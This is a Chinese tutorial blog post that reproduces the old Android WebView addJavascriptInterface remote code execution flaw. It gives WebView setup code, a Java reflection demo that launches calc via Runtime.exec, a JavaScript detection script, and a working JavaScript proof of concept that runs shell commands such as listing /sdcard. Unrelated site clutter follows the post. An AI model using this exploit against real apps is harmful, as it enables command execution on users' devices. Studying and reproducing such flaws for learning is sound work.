webView远程代码执行漏洞复现

一.概述

这个漏洞只存在于Android API level 16以及之前的版本,系统没有限制使用webView.addJavascriptInterface方法,导致攻击者可以通过使用java 反射API利用该漏洞执行任意java对象的方法,也就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScirpt通过调用这个接口可以直接操作本地的java接口。

要注意的就是安卓的版本低于4.2才行

然后就是要使用webView来加载网页这样才能调用js,毕竟是通过js来调用这个java对象方法的

二.漏洞原理

1 webView

这玩意其实就是作为app里面的内置浏览器的角色,因为安卓系统的限制,它不允许直接运行系统的浏览器,但是又为了

在app中浏览网页,就出了webView这个组件嵌入app中

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">
    <WebView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/web_view"/>

</androidx.constraintlayout.widget.ConstraintLayout>
package com.example.webviewtest;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        WebView webView=(WebView)findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.loadUrl("http://www.baidu.com");
    }
}

这里先获取一个webView的对象,通过getSetting()方法可以给webView对象设置属性,这里设置了允许执行js脚本

2.漏洞代码实际情况

    class JsObject{
            @JavascriptInterface
            public String toString()
            {
                return "injectedObject";
            }
        }
        webView.addJavascriptInterface(new JSONObject(),"injectObject");
        webView.loadData("","text/html",null);
        webView.loadUrl("javascript:alert(injectObject.toString()");

这里就是通过addJavascriptInterface()方法注册了一个可供js来调用的java对象,后面的js代码就可以调用和执行这个java对象的代码。

3.反射机制

反射真是个好东西,可以执行任意对象的任意方法

    Demo demo=new Demo();
        Class mObjectClass=demo.getClass();
        System.out.println(mObjectClass.getName());
        Method[] methods=mObjectClass.getDeclaredMethods();
        for(Method method:methods)
        {
            System.out.println("method = "+method.getName());
        }
        try {
            Class c=mObjectClass.forName("java.lang.Runtime");
            Method m=c.getDeclaredMethod("getRuntime",null);
            System.out.println(c.getName());
            m.setAccessible(true);
            Object obj=m.invoke(null, null);
            Class c2=obj.getClass();
            String array="cmd.exe /k start calc";
            Method n=c2.getMethod("exec",array.getClass()); //返回名称exec,参数为array类型的方法
            n.invoke(obj, new Object[] {array});
        }catch(Exception e)
        {
            e.printStackTrace();
        }

这波意思是只要有getClass()方法的java对象,那我就可以调用java.lang.Runtime的getRuntime方法返回Runtime后再执行exec方法调用cmd,getshell

4.漏洞检测

这里就是检测注册的java对象中是否有getClass()方法。

js代码,直接搬的别的师傅的,

function check(){
    for(var obj in window){
        try{
            if("getClass" in window[obj]){
                try{
                    window[obj].getClass();
                    document.write('<span style="color:red">'+obj+'</span>');
                    document.write('<br/>');
                }catch(e){
                    
                }
            }
        }finally{
            
        }
    }    
}
check();  

5.漏洞poc

js代码

 <script type="text/javascript">
   var i=0;
    function getContents(inputStream)
    {
      var contents = ""+i;
      var b = inputStream.read();
      var i = 1;
      while(b != -1) {
          var bString = String.fromCharCode(b);
          contents += bString;
          contents += "\n"
          b = inputStream.read();
      }
      i=i+1;
      return contents;
     }
    
     function execute(cmdArgs)
     {
      for (var obj in window) {
          console.log(obj);
          if ("getClass" in window[obj]) {
              alert(obj);
              return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
           }
       }
     } 
     
     var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); 
     document.write(getContents(res.getInputStream()));
</script>

参考链接

https://blog.csdn.net/u012195899/article/details/68942725

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 内容概要 《计算机试卷1》是一份综合性的计算机基础和应用测试卷,涵盖了计算机硬件、软件、操作系统、网络、多媒体技术等多个领域的知识点。试卷包括单选题和操作应用两大类,单选题部分测试学生对计算机基础知识的掌握,操作应用部分则评估学生对计算机应用软件的实际操作能力。 ### 适用人群 本试卷适用于: - 计算机专业或信息技术相关专业的学生,用于课程学习或考试复习。 - 准备计算机等级考试或职业资格认证的人士,作为实战演练材料。 - 对计算机操作有兴趣的自学者,用于提升个人计算机应用技能。 - 计算机基础教育工作者,作为教学资源或出题参考。 ### 使用场景及目标 1. **学习评估**:作为学校或教育机构对学生计算机基础知识和应用技能的评估工具。 2. **自学测试**:供个人自学者检验自己对计算机知识的掌握程度和操作熟练度。 3. **职业发展**:帮助职场人士通过实际操作练习,提升计算机应用能力,增强工作竞争力。 4. **教学资源**:教师可以用于课堂教学,作为教学内容的补充或学生的课后练习。 5. **竞赛准备**:适合准备计算机相关竞赛的学生,作为强化训练和技能检测的材料。 试卷的目标是通过系统性的题目设计,帮助学生全面复习和巩固计算机基础知识,同时通过实际操作题目,提高学生解决实际问题的能力。通过本试卷的学习与练习,学生将能够更加深入地理解计算机的工作原理,掌握常用软件的使用方法,为未来的学术或职业生涯打下坚实的基础。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值